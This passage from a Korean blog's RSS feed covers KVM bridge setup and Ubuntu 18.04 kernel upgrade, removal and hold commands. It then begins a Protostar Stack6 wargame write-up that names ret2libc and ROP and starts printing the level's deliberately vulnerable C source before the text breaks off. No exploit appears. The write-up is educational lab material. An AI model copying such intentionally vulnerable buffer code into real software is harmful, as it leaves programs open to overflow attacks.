&lt;p style=&quot;font-size: 1.12em;&quot;&gt;KVM에서 bridge 설정을 적용하기 위해 KVM 왼쪽 상단의 i를 선택한뒤 NIC card에서 bridge로 잡아주면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Screenshot from 2019-09-06 16-48-10.png&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;1073&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOZl7N/btqx7kMyGLU/OyrcTcqfKmSbv7P8N9LvV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOZl7N/btqx7kMyGLU/OyrcTcqfKmSbv7P8N9LvV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOZl7N/btqx7kMyGLU/OyrcTcqfKmSbv7P8N9LvV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOZl7N%2Fbtqx7kMyGLU%2FOyrcTcqfKmSbv7P8N9LvV1%2Fimg.png&quot; data-filename=&quot;Screenshot from 2019-09-06 16-48-10.png&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;1073&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;설정 완료!&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/244</guid>
      <comments>https://marcokhan.tistory.com/244#entry244comment</comments>
      <pubDate>Fri, 6 Sep 2019 16:51:24 +0900</pubDate>
    </item>
    <item>
      <title>Ubuntu KERNEL Upgrade, Downgrade, Remove , Hold 18.04</title>
      <link>https://marcokhan.tistory.com/243</link>
      <description>&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ uname -r 을 통해 현재 kernel version을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;만일 다른 version의 kernel이 필요하거나, auto kernel upgrade를 막고 싶다면 아래 1, 2, 3 을 참고하라.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;b&gt;1. ubuntu 18.04 KERNEL Upgrade&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo apt-get install aptitude&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo aptitude search linux-image&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-filename=&quot;이미지 061.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bt24pv/btqwDI9vCc2/iy0oeX1nHU4g5r1kWqLYy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bt24pv/btqwDI9vCc2/iy0oeX1nHU4g5r1kWqLYy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bt24pv/btqwDI9vCc2/iy0oeX1nHU4g5r1kWqLYy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbt24pv%2FbtqwDI9vCc2%2Fiy0oeX1nHU4g5r1kWqLYy0%2Fimg.png&quot; data-filename=&quot;이미지 061.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;linux kernel version을 search 할 수 있다. 만일 원하는 version이 존재한다면 다운로드 가능하다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo apt-cache policy linux-image-[version]&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-filename=&quot;이미지 063.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JkVTF/btqwEwAI10z/GYFQbKmwMIcskS2xxeRKzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JkVTF/btqwEwAI10z/GYFQbKmwMIcskS2xxeRKzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JkVTF/btqwEwAI10z/GYFQbKmwMIcskS2xxeRKzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJkVTF%2FbtqwEwAI10z%2FGYFQbKmwMIcskS2xxeRKzk%2Fimg.png&quot; data-filename=&quot;이미지 063.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;Installed에 (uninstalled)와 같이 설치가 안되어 있다면 아래 명령어를 더 실행하자.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo aptitude install&amp;nbsp;&lt;span style=&quot;color: #333333;&quot;&gt;linux-image-[version]&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo vi /etc/default/grub&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-filename=&quot;이미지 064.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CcRAb/btqwDucAx5x/35by7CZV8akA7XlrBmSr7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CcRAb/btqwDucAx5x/35by7CZV8akA7XlrBmSr7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CcRAb/btqwDucAx5x/35by7CZV8akA7XlrBmSr7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCcRAb%2FbtqwDucAx5x%2F35by7CZV8akA7XlrBmSr7K%2Fimg.png&quot; data-filename=&quot;이미지 064.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;GRUB_TIMEOUT_STYLE=hidden과 GRUB_TIMEOUT=0을 주석처리한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo update-grub&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-filename=&quot;이미지 066.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWF3lH/btqwCqhnpEm/iytJPa9rGfrwm48nAtZJD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWF3lH/btqwCqhnpEm/iytJPa9rGfrwm48nAtZJD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWF3lH/btqwCqhnpEm/iytJPa9rGfrwm48nAtZJD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWF3lH%2FbtqwCqhnpEm%2FiytJPa9rGfrwm48nAtZJD1%2Fimg.png&quot; data-filename=&quot;이미지 066.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ reboot&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;만약 reboot을 하여도 kernel version이 바뀌지 않으면,&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;2번을 따라 상위 version의 kernel을 지워야한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;b&gt;2. &lt;span style=&quot;color: #333333;&quot;&gt;ubuntu 18.04 KERNEL&lt;/span&gt;&amp;nbsp;Remove&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo dpkg -l | grep linux-&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;$ sudo apt-get purge linux-headers-[version] linux-headers-[version]-generic&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo apt-get purge linux-image-[version] linux-modules-[version]-generic&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ reboot&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;이미지 069.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EFhFR/btqwFAJEZdF/mzkVfKQoxhfY6QqDWgstz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EFhFR/btqwFAJEZdF/mzkVfKQoxhfY6QqDWgstz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EFhFR/btqwFAJEZdF/mzkVfKQoxhfY6QqDWgstz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEFhFR%2FbtqwFAJEZdF%2FmzkVfKQoxhfY6QqDWgstz0%2Fimg.png&quot; data-filename=&quot;이미지 069.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;kernel image를 지우면 위와 같은 화면이 나올 수 있는데 NO를 누르자.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;b&gt;3.&amp;nbsp;&lt;span style=&quot;color: #333333;&quot;&gt;ubuntu 18.04 KERNEL&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;Hold&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo apt-mark hold linux-image-generic linux-headers-generic&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.12em;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-filename=&quot;이미지 070.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rdRV4/btqwBX7AgTQ/Q9ZX3KPBMyy6n6IZa5UPSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rdRV4/btqwBX7AgTQ/Q9ZX3KPBMyy6n6IZa5UPSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rdRV4/btqwBX7AgTQ/Q9ZX3KPBMyy6n6IZa5UPSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrdRV4%2FbtqwBX7AgTQ%2FQ9ZX3KPBMyy6n6IZa5UPSK%2Fimg.png&quot; data-filename=&quot;이미지 070.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/243</guid>
      <comments>https://marcokhan.tistory.com/243#entry243comment</comments>
      <pubDate>Tue, 9 Jul 2019 22:29:19 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack6 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/242</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;Protostar --- Stack6&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack6&lt;/span&gt;의 내용이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this, or ret2libc, or even return orientated programming.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack6의 내용을 해석해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이번 level은 몇 가지 방법으로 실행될 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1. payload의 복사본을 발견하는것.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2. retunr to library(RTL).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3. return 지향 프로그래밍.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack6의 소스를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: rgb(240, 240, 240); overflow: auto; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace !important; position: relative !important;&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; style=&quot;margin: 0px; padding: 0px; border: none; background-color: rgb(39, 39, 39); border-radius: 4px;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding: 6px; border-right: 2px solid rgb(79, 79, 79);&quot;&gt;&lt;div style=&quot;margin: 0px; padding: 0px; word-break: normal; text-align: right; color: rgb(170, 170, 170); line-height: 20.8px; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace !important;&quot;&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding: 6px 0px;&quot;&gt;&lt;div style=&quot;margin: 0px; padding: 0px; color: rgb(240, 240, 240); line-height: 20.8px; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace !important;&quot;&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;getpath()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;ret;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;input&amp;nbsp;path&amp;nbsp;please:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;fflush(stdout);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding: 0px 6px; white-space: pre; line-height: 20.8px;&quot;&gt;&lt;span style=&quot;font-size: 